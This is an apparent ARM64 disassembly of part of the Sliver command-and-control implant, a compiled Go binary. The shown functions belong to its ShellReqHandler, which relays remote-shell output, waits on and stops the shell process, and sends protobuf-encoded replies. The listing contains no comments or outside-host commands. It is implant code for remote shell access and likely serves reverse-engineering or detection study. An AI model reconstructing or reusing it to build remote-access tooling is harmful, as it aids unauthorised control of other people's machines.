    0040c1fcb 0x40c204
    0040c200
    0040c200loc_40c200:
    0040c200b 0x40c220
    0040c204
    0040c204loc_40c204:
    0040c204str x0, [sp+320]
    0040c208mov x1, x0
    0040c20cadrp x0, 0x27e000
    0040c210add x0, x0, 160
    0040c214bl runtime.wbZero
    0040c218ldr x0, [sp+320]
    0040c21cb 0x40c220
    0040c220
    0040c220loc_40c220:
    0040c220mov x20, x0
    0040c224adr x27, 16
    0040c228stp x29, x27, [sp-24]
    0040c22csub x29, sp, 24
    0040c230bl fn_87cfc
    0040c234sub x29, sp, 8
    0040c238adrp x0, 0x279000
    0040c23cadd x0, x0, 3648
    0040c240bl runtime.newobject
    0040c244str x0, [sp+592]
    0040c248adrp x27, 0x63f000
    0040c24cldr w1, [x27+3056]
    0040c250cbz w1, 0x40c258
    0040c254b 0x40c25c
    0040c258
    0040c258loc_40c258:
    0040c258b 0x40c278
    0040c25c
    0040c25cloc_40c25c:
    0040c25cstr x0, [sp+312]
    0040c260mov x1, x0
    0040c264adrp x0, 0x279000
    0040c268add x0, x0, 3648
    0040c26cbl runtime.wbZero
    0040c270ldr x0, [sp+312]
    0040c274b 0x40c278
    0040c278
    0040c278loc_40c278:
    0040c278mov x20, x0
    0040c27cadr x27, 16
    0040c280stp x29, x27, [sp-24]
    0040c284sub x29, sp, 24
    0040c288bl fn_87cf8
    0040c28csub x29, sp, 8
    0040c290ldr x2, [sp+592]
    0040c294ldrsb x27, [x2]
    0040c298ldr x3, [sp+816]
    0040c29cldr x4, [sp+824]
    0040c2a0str x4, [x2+16]
    0040c2a4adrp x27, 0x63f000
    0040c2a8ldr w4, [x27+3056]
    0040c2accbz w4, 0x40c2b4
    0040c2b0b 0x40c2b8
    0040c2b4
    0040c2b4loc_40c2b4:
    0040c2b4b 0x40c2cc
    0040c2b8
    0040c2b8loc_40c2b8:
    0040c2b8bl runtime.gcWriteBarrier2
    0040c2bcstr x3, [x25]
    0040c2c0ldr x4, [x2+8]
    0040c2c4str x4, [x25+8]
    0040c2c8b 0x40c2cc
    0040c2cc
    0040c2ccloc_40c2cc:
    0040c2ccstr x3, [x2+8]
    0040c2d0ldr x2, [sp+600]
    0040c2d4ldrsb x27, [x2]
    0040c2d8ldr x3, [sp+592]
    0040c2dcadrp x27, 0x63f000
    0040c2e0ldr w4, [x27+3056]
    0040c2e4cbz w4, 0x40c2ec
    0040c2e8b 0x40c2f0
    0040c2ec
    0040c2ecloc_40c2ec:
    0040c2ecb 0x40c304
    0040c2f0
    0040c2f0loc_40c2f0:
    0040c2f0bl runtime.gcWriteBarrier2
    0040c2f4str x3, [x25]
    0040c2f8ldr x4, [x2+40]
    0040c2fcstr x4, [x25+8]
    0040c300b 0x40c304
    0040c304
    0040c304loc_40c304:
    0040c304str x3, [x2+40]
    0040c308ldr x2, [sp+600]
    0040c30cstr x2, [sp+808]
    0040c310add x27, sp, 784
    0040c314stp xzr, xzr, [x27]
    0040c318str xzr, [sp+800]
    0040c31cadd x27, sp, 768
    0040c320stp xzr, xzr, [x27]
    0040c324ldr x1, [sp+808]
    0040c328adrp x0, 0x308000
    0040c32cadd x0, x0, 1312
    0040c330bl google.golang.org/protobuf/proto.Marshal
    0040c334str x0, [sp+784]
    0040c338str x1, [sp+792]
    0040c33cstr x2, [sp+800]
    0040c340str x3, [sp+768]
    0040c344str x4, [sp+776]
    0040c348ldr x2, [sp+784]
    0040c34cldr x3, [sp+792]
    0040c350ldr x4, [sp+800]
    0040c354str x2, [sp+976]
    0040c358str x3, [sp+984]
    0040c35cstr x4, [sp+992]
    0040c360ldr x2, [sp+768]
    0040c364ldr x3, [sp+776]
    0040c368str x2, [sp+960]
    0040c36cstr x3, [sp+968]
    0040c370ldr x2, [sp+976]
    0040c374ldr x3, [sp+984]
    0040c378ldr x4, [sp+992]
    0040c37cstr x2, [sp+176]
    0040c380str x3, [sp+184]
    0040c384str x4, [sp+192]
    0040c388ldr x1, [sp+1040]
    0040c38cldr x0, [sp+1032]
    0040c390bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError
    0040c394ldp x29, x30, [sp-8]
    0040c398add sp, sp, 1024
    0040c39cret x30
    0040c3a0
    0040c3a0loc_40c3a0:
    0040c3a0ldr x1, [sp+80]
    0040c3a4ldr x2, [sp+88]
    0040c3a8subs xzr, x1, x2
    0040c3acb.gt 0x40c3b4
    0040c3b0b 0x40c5ac
    0040c3b4
    0040c3b4loc_40c3b4:
    0040c3b4ldr x1, [sp+72]
    0040c3b8str x1, [sp+392]
    0040c3bcldr x1, [sp+392]
    0040c3c0ldr x2, [x1+8]
    0040c3c4ldr x1, [x1]
    0040c3c8str x1, [sp+256]
    0040c3ccstr x2, [sp+264]
    0040c3d0cbnz x1, 0x40c3d8
    0040c3d4b 0x40c58c
    0040c3d8
    0040c3d8loc_40c3d8:
    0040c3d8adrp x0, 0x260000
    0040c3dcadd x0, x0, 2912
    0040c3e0bl runtime.newobject
    0040c3e4str x0, [sp+384]
    0040c3e8adrp x1, 0
    0040c3ecadd x1, x1, 1776
    0040c3f0str x1, [x0]
    0040c3f4ldr x1, [sp+1040]
    0040c3f8ldr x2, [sp+384]
    0040c3fcldrsb x27, [x2]
    0040c400adrp x27, 0x63f000
    0040c404ldr w3, [x27+3056]
    0040c408cbz w3, 0x40c410
    0040c40cb 0x40c414
    0040c410
    0040c410loc_40c410:
    0040c410b 0x40c428
    0040c414
    0040c414loc_40c414:
    0040c414bl runtime.gcWriteBarrier2
    0040c418str x1, [x25]
    0040c41cldr x3, [x2+8]
    0040c420str x3, [x25+8]
    0040c424b 0x40c428
    0040c428
    0040c428loc_40c428:
    0040c428str x1, [x2+8]
    0040c42cldr x1, [sp+112]
    0040c430ldr x2, [sp+384]
    0040c434ldrsb x27, [x2]
    0040c438adrp x27, 0x63f000
    0040c43cldr w3, [x27+3056]
    0040c440cbz w3, 0x40c448
    0040c444b 0x40c44c
    0040c448
    0040c448loc_40c448:
    0040c448b 0x40c460
    0040c44c
    0040c44cloc_40c44c:
    0040c44cbl runtime.gcWriteBarrier2
    0040c450str x1, [x25]
    0040c454ldr x3, [x2+16]
    0040c458str x3, [x25+8]
    0040c45cb 0x40c460
    0040c460
    0040c460loc_40c460:
    0040c460str x1, [x2+16]
    0040c464ldr x1, [sp+288]
    0040c468ldr x2, [sp+384]
    0040c46cldrsb x27, [x2]
    0040c470adrp x27, 0x63f000
    0040c474ldr w3, [x27+3056]
    0040c478cbz w3, 0x40c480
    0040c47cb 0x40c484
    0040c480
    0040c480loc_40c480:
    0040c480b 0x40c498
    0040c484
    0040c484loc_40c484:
    0040c484bl runtime.gcWriteBarrier2
    0040c488str x1, [x25]
    0040c48cldr x3, [x2+24]
    0040c490str x3, [x25+8]
    0040c494b 0x40c498
    0040c498
    0040c498loc_40c498:
    0040c498str x1, [x2+24]
    0040c49cldr x1, [sp+120]
    0040c4a0ldr x2, [sp+384]
    0040c4a4ldrsb x27, [x2]
    0040c4a8adrp x27, 0x63f000
    0040c4acldr w3, [x27+3056]
    0040c4b0cbz w3, 0x40c4b8
    0040c4b4b 0x40c4bc
    0040c4b8
    0040c4b8loc_40c4b8:
    0040c4b8b 0x40c4d0
    0040c4bc
    0040c4bcloc_40c4bc:
    0040c4bcbl runtime.gcWriteBarrier2
    0040c4c0str x1, [x25]
    0040c4c4ldr x3, [x2+32]
    0040c4c8str x3, [x25+8]
    0040c4ccb 0x40c4d0
    0040c4d0
    0040c4d0loc_40c4d0:
    0040c4d0str x1, [x2+32]
    0040c4d4ldr x1, [sp+384]
    0040c4d8str x1, [sp+872]
    0040c4dcldr x1, [sp+256]
    0040c4e0ldr x2, [sp+264]
    0040c4e4str x1, [sp+856]
    0040c4e8str x2, [sp+864]
    0040c4ecadrp x0, 0x23f000
    0040c4f0add x0, x0, 3936
    0040c4f4bl runtime.newobject
    0040c4f8str x0, [sp+376]
    0040c4fcadrp x1, 0
    0040c500add x1, x1, 1648
    0040c504str x1, [x0]
    0040c508ldr x1, [sp+872]
    0040c50cldr x2, [sp+376]
    0040c510ldrsb x27, [x2]
    0040c514adrp x27, 0x63f000
    0040c518ldr w3, [x27+3056]
    0040c51ccbz w3, 0x40c524
    0040c520b 0x40c528
    0040c524
    0040c524loc_40c524:
    0040c524b 0x40c53c
    0040c528
    0040c528loc_40c528:
    0040c528bl runtime.gcWriteBarrier2
    0040c52cstr x1, [x25]
    0040c530ldr x3, [x2+8]
    0040c534str x3, [x25+8]
    0040c538b 0x40c53c
    0040c53c
    0040c53cloc_40c53c:
    0040c53cstr x1, [x2+8]
    0040c540ldr x1, [sp+864]
    0040c544ldr x2, [sp+856]
    0040c548ldr x3, [sp+376]
    0040c54cldrsb x27, [x3]
    0040c550str x2, [x3+16]
    0040c554adrp x27, 0x63f000
    0040c558ldr w2, [x27+3056]
    0040c55ccbz w2, 0x40c564
    0040c560b 0x40c568
    0040c564
    0040c564loc_40c564:
    0040c564b 0x40c57c
    0040c568
    0040c568loc_40c568:
    0040c568bl runtime.gcWriteBarrier2
    0040c56cstr x1, [x25]
    0040c570ldr x2, [x3+24]
    0040c574str x2, [x25+8]
    0040c578b 0x40c57c
    0040c57c
    0040c57cloc_40c57c:
    0040c57cstr x1, [x3+24]
    0040c580ldr x0, [sp+376]
    0040c584bl runtime.newproc
    0040c588b 0x40c590
    0040c58c
    0040c58cloc_40c58c:
    0040c58cb 0x40c590
    0040c590
    0040c590loc_40c590:
    0040c590ldr x1, [sp+88]
    0040c594add x1, x1, 1
    0040c598str x1, [sp+88]
    0040c59cldr x1, [sp+392]
    0040c5a0add x1, x1, 16
    0040c5a4str x1, [sp+72]
    0040c5a8b 0x40c3a0
    0040c5ac
    0040c5acloc_40c5ac:
    0040c5acadd x27, sp, 832
    0040c5b0stp xzr, xzr, [x27]
    0040c5b4add x1, sp, 832
    0040c5b8str x1, [sp+344]
    0040c5bcldr x1, [sp+112]
    0040c5c0ldrsb x27, [x1]
    0040c5c4ldr x0, [x1]
    0040c5c8str x0, [sp+64]
    0040c5ccbl runtime.convT64
    0040c5d0str x0, [sp+336]
    0040c5d4ldr x1, [sp+344]
    0040c5d8ldrsb x27, [x1]
    0040c5dcadrp x2, 0x1e9000
    0040c5e0add x2, x2, 3456
    0040c5e4str x2, [x1]
    0040c5e8adrp x27, 0x63f000
    0040c5ecldr w2, [x27+3056]
    0040c5f0cbz w2, 0x40c5f8
    0040c5f4b 0x40c5fc
    0040c5f8
    0040c5f8loc_40c5f8:
    0040c5f8b 0x40c610
    0040c5fc
    0040c5fcloc_40c5fc:
    0040c5fcbl runtime.gcWriteBarrier2
    0040c600str x0, [x25]
    0040c604ldr x5, [x1+8]
    0040c608str x5, [x25+8]
    0040c60cb 0x40c610
    0040c610
    0040c610loc_40c610:
    0040c610str x0, [x1+8]
    0040c614ldr x2, [sp+344]
    0040c618ldrsb x27, [x2]
    0040c61cb 0x40c620
    0040c620
    0040c620loc_40c620:
    0040c620str x2, [sp+352]
    0040c624orr x4, xzr, 1
    0040c628str x4, [sp+360]
    0040c62cstr x4, [sp+368]
    0040c630adrp x0, 0x2b7000
    0040c634add x0, x0, 2119
    0040c638movz x1, 39
    0040c63cmov x3, x4
    0040c640bl log.Printf
    0040c644ldp x29, x30, [sp-8]
    0040c648add sp, sp, 1024
    0040c64cret x30
    0040c650
    0040c650loc_40c650:
    0040c650stp x0, x1, [sp+8]
    0040c654mov x3, x30
    0040c658bl runtime.morestack_noctxt.abi0
    0040c65cldp x0, x1, [sp+8]
    0040c660b 0x40b6a0
    0040c664udf 0
    0040c668udf 0
    0040c66cudf 0
    0040b6a0
    0040c670
    0040c670github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.gowrap1(void)
    0040c670ldr x16, [x28+16]
    0040c674subs xzr, sp, x16
    0040c678b.ls 0x40c6c0
    0040c67cstr x30, [sp-64]!
    0040c680stur x29, [sp-8]
    0040c684sub x29, sp, 8
    0040c688ldr x16, [x28+32]
    0040c68ccbnz x16, 0x40c6cc
    0040c690
    0040c690loc_40c690:
    0040c690ldr x2, [x26+8]
    0040c694str x2, [sp+48]
    0040c698ldr x0, [x26+16]
    0040c69cldr x1, [x26+24]
    0040c6a0str x0, [sp+32]
    0040c6a4str x1, [sp+40]
    0040c6a8ldr x26, [sp+48]
    0040c6acldr x2, [x26]
    0040c6b0blr x2
    0040c6b4ldur x29, [sp-8]
    0040c6b8ldr x30, [sp], 64
    0040c6bcret x30
    0040c6c0
    0040c6c0loc_40c6c0:
    0040c6c0mov x3, x30
    0040c6c4bl runtime.morestack.abi0
    0040c6c8b 0x40c670
    0040c6cc
    0040c6ccloc_40c6cc:
    0040c6ccldr x17, [x16]
    0040c6d0add x20, sp, 72
    0040c6d4subs xzr, x20, x17
    0040c6d8b.ne 0x40c690
    0040c6dcadd x20, sp, 8
    0040c6e0str x20, [x16]
    0040c6e4b 0x40c690
    0040c6e8udf 0
    0040c6ecudf 0
    0040c670
    0040c6f0
    0040c6f0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.func2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.func2(io.ReadCloser outErr)
    0040c6f0ldr x16, [x28+16]
    0040c6f4sub x17, sp, 240
    0040c6f8subs xzr, x17, x16
    0040c6fcb.ls 0x40ca74
    0040c700sub x20, sp, 368
    0040c704stp x29, x30, [x20-8]
    0040c708add sp, x20, 0
    0040c70csub x29, sp, 8
    0040c710str x0, [sp+376]
    0040c714str x1, [sp+384]
    0040c718ldr x2, [x26+8]
    0040c71cstr x2, [sp+128]
    0040c720ldr x2, [x26+16]
    0040c724str x2, [sp+80]
    0040c728ldr x2, [x26+24]
    0040c72cstr x2, [sp+136]
    0040c730ldr x2, [x26+32]
    0040c734str x2, [sp+104]
    0040c738stp xzr, xzr, [sp+88]
    0040c73cldr x2, [sp+128]
    0040c740str x2, [sp+96]
    0040c744ldr x3, [sp+80]
    0040c748str x3, [sp+88]
    0040c74cstr x3, [sp+192]
    0040c750str x2, [sp+200]
    0040c754stp xzr, xzr, [sp+160]
    0040c758stp xzr, xzr, [sp+176]
    0040c75cadd x2, sp, 160
    0040c760str x2, [sp+328]
    0040c764ldr x2, [sp+200]
    0040c768ldr x3, [sp+192]
    0040c76cstr x3, [sp+312]
    0040c770str x2, [sp+320]
    0040c774adrp x0, 0x242000
    0040c778add x0, x0, 928
    0040c77cadd x1, sp, 312
    0040c780bl runtime.convT
    0040c784str x0, [sp+304]
    0040c788ldr x2, [sp+328]
    0040c78cldrsb x27, [x2]
    0040c790adrp x3, 0x242000
    0040c794add x3, x3, 928
    0040c798str x3, [x2]
    0040c79cadrp x27, 0x63f000
    0040c7a0ldr w3, [x27+3056]
    0040c7a4cbz w3, 0x40c7ac
    0040c7a8b 0x40c7b0
    0040c7ac
    0040c7acloc_40c7ac:
    0040c7acb 0x40c7c4
    0040c7b0
    0040c7b0loc_40c7b0:
    0040c7b0bl runtime.gcWriteBarrier2
    0040c7b4str x0, [x25]
    0040c7b8ldr x5, [x2+8]
    0040c7bcstr x5, [x25+8]
    0040c7c0b 0x40c7c4
    0040c7c4
    0040c7c4loc_40c7c4:
    0040c7c4str x0, [x2+8]
    0040c7c8ldr x5, [sp+376]
    0040c7ccldr x6, [sp+384]
    0040c7d0str x5, [sp+288]
    0040c7d4str x6, [sp+296]
    0040c7d8str x5, [sp+280]
    0040c7dcldr x5, [sp+280]
    0040c7e0cbnz x5, 0x40c7e8
    0040c7e4b 0x40c7f8
    0040c7e8
    0040c7e8loc_40c7e8:
    0040c7e8ldr x5, [sp+280]
    0040c7ecldr x5, [x5+8]
    0040c7f0str x5, [sp+280]
    0040c7f4b 0x40c7fc
    0040c7f8
    0040c7f8loc_40c7f8:
    0040c7f8b 0x40c7fc
    0040c7fc
    0040c7fcloc_40c7fc:
    0040c7fcldr x5, [sp+328]
    0040c800ldrsb x27, [x5]
    0040c804ldr x6, [sp+296]
    0040c808ldr x7, [sp+280]
    0040c80cstr x7, [x5+16]
    0040c810adrp x27, 0x63f000
    0040c814ldr w7, [x27+3056]
    0040c818cbz w7, 0x40c820
    0040c81cb 0x40c824
    0040c820
    0040c820loc_40c820:
    0040c820b 0x40c838
    0040c824
    0040c824loc_40c824:
    0040c824bl runtime.gcWriteBarrier2
    0040c828str x6, [x25]
    0040c82cldr x7, [x5+24]
    0040c830str x7, [x25+8]
    0040c834b 0x40c838
    0040c838
    0040c838loc_40c838:
    0040c838str x6, [x5+24]
    0040c83cldr x2, [sp+328]
    0040c840ldrsb x27, [x2]
    0040c844b 0x40c848
    0040c848
    0040c848loc_40c848:
    0040c848str x2, [sp+336]
    0040c84corr x4, xzr, 2
    0040c850str x4, [sp+344]
    0040c854str x4, [sp+352]
    0040c858adrp x0, 0x2b1000
    0040c85cadd x0, x0, 982
    0040c860orr x1, xzr, 30
    0040c864mov x3, x4
    0040c868bl log.Printf
    0040c86cldr x5, [sp+88]
    0040c870ldr x6, [sp+96]
    0040c874str x5, [sp+192]
    0040c878str x6, [sp+200]
    0040c87cstp xzr, xzr, [sp+144]
    0040c880adrp x0, 0x242000
    0040c884add x0, x0, 928
    0040c888add x1, sp, 192
    0040c88cbl runtime.convT
    0040c890str x0, [sp+272]
    0040c894ldr x3, [sp+384]
    0040c898ldr x5, [sp+376]
    0040c89cstr x5, [sp+256]
    0040c8a0str x3, [sp+264]
    0040c8a4cbnz x5, 0x40c8ac
    0040c8a8b 0x40c8cc
    0040c8ac
    0040c8acloc_40c8ac:
    0040c8acstr x3, [sp+224]
    0040c8b0ldr x1, [x5+8]
    0040c8b4adrp x0, 0x602000
    0040c8b8add x0, x0, 1904
    0040c8bcbl runtime.typeAssert
    0040c8c0ldr x3, [sp+224]
    0040c8c4mov x5, x0
    0040c8c8b 0x40c8d0
    0040c8cc
    0040c8ccloc_40c8cc:
    0040c8ccb 0x40c8d0
    0040c8d0
    0040c8d0loc_40c8d0:
    0040c8d0str x5, [sp+240]
    0040c8d4str x3, [sp+248]
    0040c8d8ldr x1, [sp+272]
    0040c8dcadrp x0, 0x309000
    0040c8e0add x0, x0, 1280
    0040c8e4mov x2, x5
    0040c8e8bl io.Copy
    0040c8ecstr x0, [sp+64]
    0040c8f0str x1, [sp+144]
    0040c8f4str x2, [sp+152]
    0040c8f8ldr x4, [sp+64]
    0040c8fcstr x4, [sp+72]
    0040c900str x1, [sp+208]
    0040c904str x2, [sp+216]
    0040c908str x1, [sp+112]
    0040c90cstr x2, [sp+120]
    0040c910cbnz x1, 0x40c918
    0040c914b 0x40c944
    0040c918
    0040c918loc_40c918:
    0040c918ldr x26, [sp+136]
    0040c91cldr x4, [x26]
    0040c920adrp x0, 0x2a5000
    0040c924add x0, x0, 1428
    0040c928mov x3, x2
    0040c92cmov x2, x1
    0040c930orr x1, xzr, 8
    0040c934blr x4
    0040c938ldp x29, x30, [sp-8]
    0040c93cadd sp, sp, 368
    0040c940ret x30
    0040c944
    0040c944loc_40c944:
    0040c944ldr x0, [sp+104]
    0040c948bl github.com/bishopfox/sliver/implant/sliver/shell.(*Shell).Wait
    0040c94cstr x0, [sp+112]
    0040c950str x1, [sp+120]
    0040c954cbnz x0, 0x40c95c
    0040c958b 0x40c988
    0040c95c
    0040c95cloc_40c95c:
    0040c95cldr x26, [sp+136]
    0040c960ldr x4, [x26]
    0040c964mov x2, x0
    0040c968mov x3, x1
    0040c96cadrp x0, 0x2a8000
    0040c970add x0, x0, 3108
    0040c974orr x1, xzr, 16
    0040c978blr x4
    0040c97cldp x29, x30, [sp-8]
    0040c980add sp, sp, 368
    0040c984ret x30
    0040c988
    0040c988loc_40c988:
    0040c988ldr x3, [sp+104]
    0040c98cldrsb x27, [x3]
    0040c990ldr x3, [x3+8]
    0040c994ldrsb x27, [x3]
    0040c998ldr x3, [x3+168]
    0040c99ccbnz x3, 0x40c9a4
    0040c9a0b 0x40c9fc
    0040c9a4
    0040c9a4loc_40c9a4:
    0040c9a4ldr x1, [sp+104]
    0040c9a8ldrsb x27, [x1]
    0040c9acldr x1, [x1+8]
    0040c9b0ldrsb x27, [x1]
    0040c9b4ldr x0, [x1+168]
    0040c9b8str x0, [sp+232]
    0040c9bcbl os.(*ProcessState).Exited
    0040c9c0strb w0, [sp+63]
    0040c9c4tbnz w0, 0, 0x40c9cc
    0040c9c8b 0x40c9f8
    0040c9cc
    0040c9ccloc_40c9cc:
    0040c9ccldr x26, [sp+136]
    0040c9d0ldr x4, [x26]
    0040c9d4adrp x0, 0x2a9000
    0040c9d8add x0, x0, 2993
    0040c9dcmovz x1, 18
    0040c9e0mov x2, xzr
    0040c9e4mov x3, xzr
    0040c9e8blr x4
    0040c9ecldp x29, x30, [sp-8]
    0040c9f0add sp, sp, 368
    0040c9f4ret x30
    0040c9f8
    0040c9f8loc_40c9f8:
    0040c9f8b 0x40ca00
    0040c9fc
    0040c9fcloc_40c9fc:
    0040c9fcb 0x40ca00
    0040ca00
    0040ca00loc_40ca00:
    0040ca00adrp x27, 0x615000
    0040ca04ldr x3, [x27+1520]
    0040ca08ldr x4, [sp+112]
    0040ca0csubs xzr, x4, x3
    0040ca10b.eq 0x40ca18
    0040ca14b 0x40ca64
    0040ca18
    0040ca18loc_40ca18:
    0040ca18ldr x0, [sp+112]
    0040ca1cldr x1, [sp+120]
    0040ca20adrp x27, 0x615000
    0040ca24ldr x2, [x27+1528]
    0040ca28bl runtime.ifaceeq
    0040ca2ctbnz w0, 0, 0x40ca34
    0040ca30b 0x40ca60
    0040ca34
    0040ca34loc_40ca34:
    0040ca34ldr x2, [sp+112]
    0040ca38ldr x3, [sp+120]
    0040ca3cldr x26, [sp+136]
    0040ca40ldr x4, [x26]
    0040ca44adrp x0, 0x2a4000
    0040ca48add x0, x0, 477
    0040ca4corr x1, xzr, 3
    0040ca50blr x4
    0040ca54ldp x29, x30, [sp-8]
    0040ca58add sp, sp, 368
    0040ca5cret x30
    0040ca60
    0040ca60loc_40ca60:
    0040ca60b 0x40ca68
    0040ca64
    0040ca64loc_40ca64:
    0040ca64b 0x40ca68
    0040ca68
    0040ca68loc_40ca68:
    0040ca68ldp x29, x30, [sp-8]
    0040ca6cadd sp, sp, 368
    0040ca70ret x30
    0040ca74
    0040ca74loc_40ca74:
    0040ca74stp x0, x1, [sp+8]
    0040ca78mov x3, x30
    0040ca7cbl runtime.morestack.abi0
    0040ca80ldp x0, x1, [sp+8]
    0040ca84b 0x40c6f0
    0040ca88udf 0
    0040ca8cudf 0
    0040c6f0
    0040ca90
    0040ca90github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.func1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler.func1(struct string reason, error err)
    0040ca90ldr x16, [x28+16]
    0040ca94sub x17, sp, 240
    0040ca98subs xzr, x17, x16
    0040ca9cb.ls 0x40ce1c
    0040caa0sub x20, sp, 368
    0040caa4stp x29, x30, [x20-8]
    0040caa8add sp, x20, 0
    0040caacsub x29, sp, 8
    0040cab0str x0, [sp+376]
    0040cab4str x1, [sp+384]
    0040cab8str x2, [sp+392]
    0040cabcstr x3, [sp+400]
    0040cac0ldr x1, [x26+8]
    0040cac4str x1, [sp+80]
    0040cac8ldr x1, [x26+16]
    0040caccstr x1, [sp+88]
    0040cad0ldr x1, [x26+24]
    0040cad4str x1, [sp+96]
    0040cad8stp xzr, xzr, [sp+160]
    0040cadcstp xzr, xzr, [sp+176]
    0040cae0stp xzr, xzr, [sp+192]
    0040cae4add x1, sp, 160
    0040cae8str x1, [sp+328]
    0040caecldr x1, [sp+80]
    0040caf0ldrsb x27, [x1]
    0040caf4ldr x0, [x1]
    0040caf8str x0, [sp+48]
    0040cafcbl runtime.convT64
    0040cb00str x0, [sp+320]
    0040cb04ldr x1, [sp+328]
    0040cb08ldrsb x27, [x1]
    0040cb0cadrp x2, 0x1e9000
    0040cb10add x2, x2, 3456
    0040cb14str x2, [x1]
    0040cb18adrp x27, 0x63f000
    0040cb1cldr w2, [x27+3056]
    0040cb20cbz w2, 0x40cb28
    0040cb24b 0x40cb2c
    0040cb28
    0040cb28loc_40cb28:
    0040cb28b 0x40cb40
    0040cb2c
    0040cb2cloc_40cb2c:
    0040cb2cbl runtime.gcWriteBarrier2
    0040cb30str x0, [x25]
    0040cb34ldr x2, [x1+8]
    0040cb38str x2, [x25+8]
    0040cb3cb 0x40cb40
    0040cb40
    0040cb40loc_40cb40:
    0040cb40str x0, [x1+8]
    0040cb44ldr x0, [sp+376]
    0040cb48ldr x1, [sp+384]
    0040cb4cbl runtime.convTstring
    0040cb50str x0, [sp+312]
    0040cb54ldr x2, [sp+328]
    0040cb58ldrsb x27, [x2]
    0040cb5cadrp x3, 0x1e9000
    0040cb60add x3, x3, 2944
    0040cb64str x3, [x2+16]
    0040cb68adrp x27, 0x63f000
    0040cb6cldr w3, [x27+3056]
    0040cb70cbz w3, 0x40cb78
    0040cb74b 0x40cb7c
    0040cb78
    0040cb78loc_40cb78:
    0040cb78b 0x40cb90
    0040cb7c
    0040cb7cloc_40cb7c:
    0040cb7cbl runtime.gcWriteBarrier2
    0040cb80str x0, [x25]
    0040cb84ldr x5, [x2+24]
    0040cb88str x5, [x25+8]
    0040cb8cb 0x40cb90
    0040cb90
    0040cb90loc_40cb90:
    0040cb90str x0, [x2+24]
    0040cb94ldr x5, [sp+392]
    0040cb98ldr x6, [sp+400]
    0040cb9cstr x5, [sp+296]
    0040cba0str x6, [sp+304]
    0040cba4str x5, [sp+288]
    0040cba8ldr x5, [sp+288]
    0040cbaccbnz x5, 0x40cbb4
    0040cbb0b 0x40cbc4
    0040cbb4
    0040cbb4loc_40cbb4:
    0040cbb4ldr x5, [sp+288]
    0040cbb8ldr x5, [x5+8]
    0040cbbcstr x5, [sp+288]
    0040cbc0b 0x40cbc8
    0040cbc4
    0040cbc4loc_40cbc4:
    0040cbc4b 0x40cbc8
    0040cbc8
    0040cbc8loc_40cbc8:
    0040cbc8ldr x5, [sp+328]
    0040cbccldrsb x27, [x5]
    0040cbd0ldr x6, [sp+288]
    0040cbd4ldr x7, [sp+304]
    0040cbd8str x6, [x5+32]
    0040cbdcadrp x27, 0x63f000
    0040cbe0ldr w6, [x27+3056]
    0040cbe4cbz w6, 0x40cbec
    0040cbe8b 0x40cbf0
    0040cbec
    0040cbecloc_40cbec:
    0040cbecb 0x40cc04
    0040cbf0
    0040cbf0loc_40cbf0:
    0040cbf0bl runtime.gcWriteBarrier2
    0040cbf4str x7, [x25]
    0040cbf8ldr x6, [x5+40]
    0040cbfcstr x6, [x25+8]
    0040cc00b 0x40cc04
    0040cc04
    0040cc04loc_40cc04:
    0040cc04str x7, [x5+40]
    0040cc08ldr x2, [sp+328]
    0040cc0cldrsb x27, [x2]
    0040cc10b 0x40cc14
    0040cc14
    0040cc14loc_40cc14:
    0040cc14str x2, [sp+336]
    0040cc18orr x4, xzr, 3
    0040cc1cstr x4, [sp+344]
    0040cc20str x4, [sp+352]
    0040cc24adrp x0, 0x2bb000
    0040cc28add x0, x0, 3715
    0040cc2cmovz x1, 47
    0040cc30mov x3, x4
    0040cc34bl log.Printf
    0040cc38ldr x0, [sp+88]
    0040cc3cbl github.com/bishopfox/sliver/implant/sliver/shell.(*Shell).Stop
    0040cc40adrp x0, 0x28b000
    0040cc44add x0, x0, 64
    0040cc48bl runtime.newobject
    0040cc4cstr x0, [sp+280]
    0040cc50adrp x27, 0x63f000
    0040cc54ldr w5, [x27+3056]
    0040cc58cbz w5, 0x40cc60
    0040cc5cb 0x40cc64
    0040cc60
    0040cc60loc_40cc60:
    0040cc60b 0x40cc80
    0040cc64
    0040cc64loc_40cc64:
    0040cc64str x0, [sp+256]
    0040cc68mov x1, x0
    0040cc6cadrp x0, 0x28b000
    0040cc70add x0, x0, 64
    0040cc74bl runtime.wbZero
    0040cc78ldr x0, [sp+256]
    0040cc7cb 0x40cc80
    0040cc80
    0040cc80loc_40cc80:
    0040cc80mov x20, x0
    0040cc84adr x27, 16
    0040cc88stp x29, x27, [sp-24]
    0040cc8csub x29, sp, 24
    0040cc90bl fn_87cf0
    0040cc94sub x29, sp, 8
    0040cc98ldr x2, [sp+280]
    0040cc9cldrsb x27, [x2]
    0040cca0orr x3, xzr, 1
    0040cca4strb w3, [x2+32]
    0040cca8ldr x2, [sp+280]
    0040ccacldrsb x27, [x2]
    0040ccb0ldr x3, [sp+80]
    0040ccb4ldrsb x27, [x3]
    0040ccb8ldr x3, [x3]
    0040ccbcstr x3, [x2+72]
    0040ccc0ldr x2, [sp+280]
    0040ccc4str x2, [sp+152]
    0040ccc8stp xzr, xzr, [sp+128]
    0040ccccstr xzr, [sp+144]
    0040ccd0stp xzr, xzr, [sp+112]
    0040ccd4ldr x1, [sp+152]
    0040ccd8adrp x0, 0x308000
    0040ccdcadd x0, x0, 3904
    0040cce0bl google.golang.org/protobuf/proto.Marshal
    0040cce4str x0, [sp+128]
    0040cce8str x1, [sp+136]
    0040ccecstr x2, [sp+144]
    0040ccf0str x3, [sp+112]
    0040ccf4str x4, [sp+120]
    0040ccf8ldr x2, [sp+128]
    0040ccfcldr x3, [sp+136]
    0040cd00ldr x4, [sp+144]
    0040cd04str x2, [sp+224]
    0040cd08str x3, [sp+232]
    0040cd0cstr x4, [sp+240]
    0040cd10ldr x2, [sp+112]
    0040cd14ldr x3, [sp+120]
    0040cd18str x2, [sp+208]
    0040cd1cstr x3, [sp+216]
    0040cd20ldr x2, [sp+224]
    0040cd24ldr x3, [sp+232]
    0040cd28ldr x4, [sp+240]
